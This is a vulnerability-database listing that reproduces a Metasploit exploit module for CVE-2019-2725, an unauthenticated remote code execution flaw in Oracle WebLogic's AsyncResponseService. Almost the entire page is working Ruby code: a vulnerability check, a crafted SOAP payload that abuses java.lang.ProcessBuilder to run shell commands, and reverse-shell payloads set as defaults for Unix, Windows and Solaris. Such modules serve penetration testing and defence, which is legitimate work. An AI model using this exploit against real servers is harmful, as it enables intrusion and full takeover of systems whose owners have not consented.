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Oracle Weblogic Server Deserialization RCE - AsyncResponseService

🗓️ 26 Apr 2019 01:03:17Reported by Andres Rodriguez - 2Secure (@acamro) <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 203 Views

An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
        'Description' => %q{
          An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a malicious SOAP request to the interface WLS AsyncResponseService
          to execute code on the vulnerable host.
        },
        'Author' => [
          'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-2725'],
          ['URL', 'http://web.archive.org/web/20190508024326/http://www.cnvd.org.cn/webinfo/show/4999'],
          ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'],
          ['URL', 'https://twitter.com/F5Labs/status/1120822404568244224']
        ],
        'Privileged' => false,
        'Platform' => %w[unix win solaris],
        'Targets' => [
          [
            'Unix',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64, ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Solaris',
            {
              'Platform' => 'solaris',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
              'Payload' => {
                'Space' => 2048,
                'DisableNops' => true,
                'Compat' =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 12
        },
        'DisclosureDate' => '2019-04-23',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7001),
        OptString.new('TARGETURI', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'ctype' => 'text/xml',
      'headers' => { 'SOAPAction' => '' }
    )

    if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')
      vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
      vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
      Exploit::CheckCode::Vulnerable
    elsif res && res.code != 202
      vprint_status('The target returned a non-vulnerable HTTP code')
      Exploit::CheckCode::Safe
    elsif res.nil?
      vprint_status('The target did not respond in an expected way')
      Exploit::CheckCode::Unknown
    else
      vprint_status("The target returned HTTP code: #{res.code}")
      vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
      Exploit::CheckCode::Unknown
    end
  end

  def exploit
    print_status('Generating payload...')
    case target.name
    when 'Windows'
      string0_cmd = 'cmd.exe'
      string1_param = '/c'
      shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false })
    when 'Unix', 'Solaris'
      string0_cmd = '/bin/bash'
      string1_param = '-c'
      shell_payload = payload.encoded
    end

    random_action = rand_text_alphanumeric(20)
    random_relates = rand_text_alphanumeric(20)

    soap_payload = %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/")
    soap_payload << %(xmlns:wsa="http://www.w3.org/2005/08/addressing")
    soap_payload << %(xmlns:asy="http://www.bea.com/async/AsyncResponseService">)
    soap_payload << %(<soapenv:Header>)
    soap_payload << %(<wsa:Action>#{random_action}</wsa:Action>)
    soap_payload << %(<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>)
    soap_payload << %(<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">)
    soap_payload << %(<void class="java.lang.ProcessBuilder">)
    soap_payload << %(<array class="java.lang.String" length="3">)
    soap_payload << %(<void index="0">)
    soap_payload << %(<string>#{string0_cmd}</string>)
    soap_payload << %(</void>)
    soap_payload << %(<void index="1">)
    soap_payload << %(<string>#{string1_param}</string>)
    soap_payload << %(</void>)
    soap_payload << %(<void index="2">)
    soap_payload << %(<string>#{shell_payload.encode(xml: :text)}</string>)
    # soap_payload <<             %Q|<string>#{xml_encode(shell_payload)}</string>|
    soap_payload << %(</void>)
    soap_payload << %(</array>)
    soap_payload << %(<void method="start"/>)
    soap_payload << %(</void>)
    soap_payload << %(</work:WorkContext>)
    soap_payload << %(</soapenv:Header>)
    soap_payload << %(<soapenv:Body>)
    soap_payload << %(<asy:onAsyncDelivery/>)
    soap_payload << %(</soapenv:Body>)
    soap_payload << %(</soapenv:Envelope>)

    print_status('Sending payload...')

    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path),
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => soap_payload,
        'headers' => { 'SOAPAction' => '' }
      )
    rescue Errno::ENOTCONN
      fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.')
    end

    if res.nil?
      fail_with(Failure::Unreachable, 'No response from host')
    elsif res && res.code != 202
      fail_with(Failure::UnexpectedReply, "Exploit failed.  Host responded with HTTP code #{res.code} instead of HTTP code 202")
    end
  end
end

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